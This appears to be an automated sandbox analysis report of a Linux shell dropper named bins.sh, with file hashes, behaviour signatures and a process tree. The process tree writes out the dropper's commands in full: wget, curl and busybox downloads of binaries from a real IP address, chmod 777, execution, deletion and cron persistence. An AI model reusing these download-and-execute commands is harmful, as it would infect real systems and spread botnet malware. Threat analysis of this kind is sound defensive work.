Analysis

  • max time kernel
    96s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    09-11-2024 20:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    14098e895eaadb9f68f8e40895c177ba

  • SHA1

    baf00e9b0740c1cc656a593b495ae13a83652365

  • SHA256

    0811630a850f847ee28ed9078eca2e17104ec41ee010ab5fe76f8998e47a4f31

  • SHA512

    ba10314092b24656d1ec96ee7e33f67c7f23412994699ec0407069d839ef2b6039cb9bb5726acb4cec4ec298174429cb9d8eac9031842dc62964abd0e5d7064f

  • SSDEEP

    192:SFme4ZpdqRh1vsk3C+ii+ZkOe6rm2m8sk3C++pdqRhNne6rm2YKxmeh:PMvsk3C+iitOe6rm2m8sk3C+Ve6rm2Z

Malware Config

Signatures

  • Contacts a large (1397) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:703
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:705
        • /usr/bin/wget
          wget http://87.120.84.230/bins/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:710
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:727
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:733
        • /bin/chmod
          chmod 777 tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • File and Directory Permissions Modification
          PID:734
        • /tmp/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          ./tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • Executes dropped EXE
          • System Network Configuration Discovery
          PID:735
        • /bin/rm
          rm tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq
          2⤵
          • System Network Configuration Discovery
          PID:737
        • /usr/bin/wget
          wget http://87.120.84.230/bins/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
          2⤵
          • Writes file to tmp directory
          PID:738
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
          2⤵
          • Writes file to tmp directory
          PID:739
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
          2⤵
          • Writes file to tmp directory
          PID:740
        • /bin/chmod
          chmod 777 EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
          2⤵
          • File and Directory Permissions Modification
          PID:741
        • /tmp/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
          ./EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:742
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:744
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:745
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:746
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:747
              • /bin/rm
                rm EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ
                2⤵
                  PID:749
                • /usr/bin/wget
                  wget http://87.120.84.230/bins/waMUu3wStjbh57023DqN3DVIdOczWDiUhI
                  2⤵
                    PID:832
                  • /usr/bin/curl
                    curl -O http://87.120.84.230/bins/waMUu3wStjbh57023DqN3DVIdOczWDiUhI
                    2⤵
                      PID:833
                    • /bin/busybox
                      /bin/busybox wget http://87.120.84.230/bins/waMUu3wStjbh57023DqN3DVIdOczWDiUhI
                      2⤵
                      • Writes file to tmp directory
                      PID:834
                    • /bin/chmod
                      chmod 777 waMUu3wStjbh57023DqN3DVIdOczWDiUhI
                      2⤵
                      • File and Directory Permissions Modification
                      PID:835
                    • /tmp/waMUu3wStjbh57023DqN3DVIdOczWDiUhI
                      ./waMUu3wStjbh57023DqN3DVIdOczWDiUhI
                      2⤵
                      • Executes dropped EXE
                      PID:836
                    • /bin/rm
                      rm waMUu3wStjbh57023DqN3DVIdOczWDiUhI
                      2⤵
                        PID:838
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/nSXEILSQAIDCSvgcEADEDzJquyDxtaHEp4
                        2⤵
                          PID:839

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/EhFzW7S3hDE3I1ZriWxe8dTM59Q1e0vnwZ

                        Filesize

                        151KB

                        MD5

                        6c583043d91c55aa470c08c87058e917

                        SHA1

                        abf65a5b9bba69980278ad09356e53de8bb89439

                        SHA256

                        2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                        SHA512

                        82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                      • /tmp/tipd5aLyyzlCilPXJXJMqUIWBz7SJGagtq

                        Filesize

                        112KB

                        MD5

                        05d7857dcead18bbd86d2935f591873c

                        SHA1

                        34d18f41ef35f93d5364ce3e24d74730a4e91985

                        SHA256

                        2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                        SHA512

                        d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                      • /tmp/waMUu3wStjbh57023DqN3DVIdOczWDiUhI

                        Filesize

                        107KB

                        MD5

                        eb9c3a0de91fcf16ba17cb24608df68c

                        SHA1

                        09d95a7d70d5e115d103be51edff7c498d272fac

                        SHA256

                        dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                        SHA512

                        9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                      • /var/spool/cron/crontabs/tmp.vGkPke

                        Filesize

                        210B

                        MD5

                        a195c190ccff4579ee1df41409be0b00

                        SHA1

                        b635d0989edb502680977184d6a5f361c5e7cb52

                        SHA256

                        bda3b426026f902ea78f6cdd088fa4099a774a0b43187e80aaa10c90ad70a63f

                        SHA512

                        ca418f365008505f9285271ccd5db083161e7f3a7d6250b285089465c616e715722bae3e7730663f197df9da37987b227695710d0b78117d1e289879f47e4355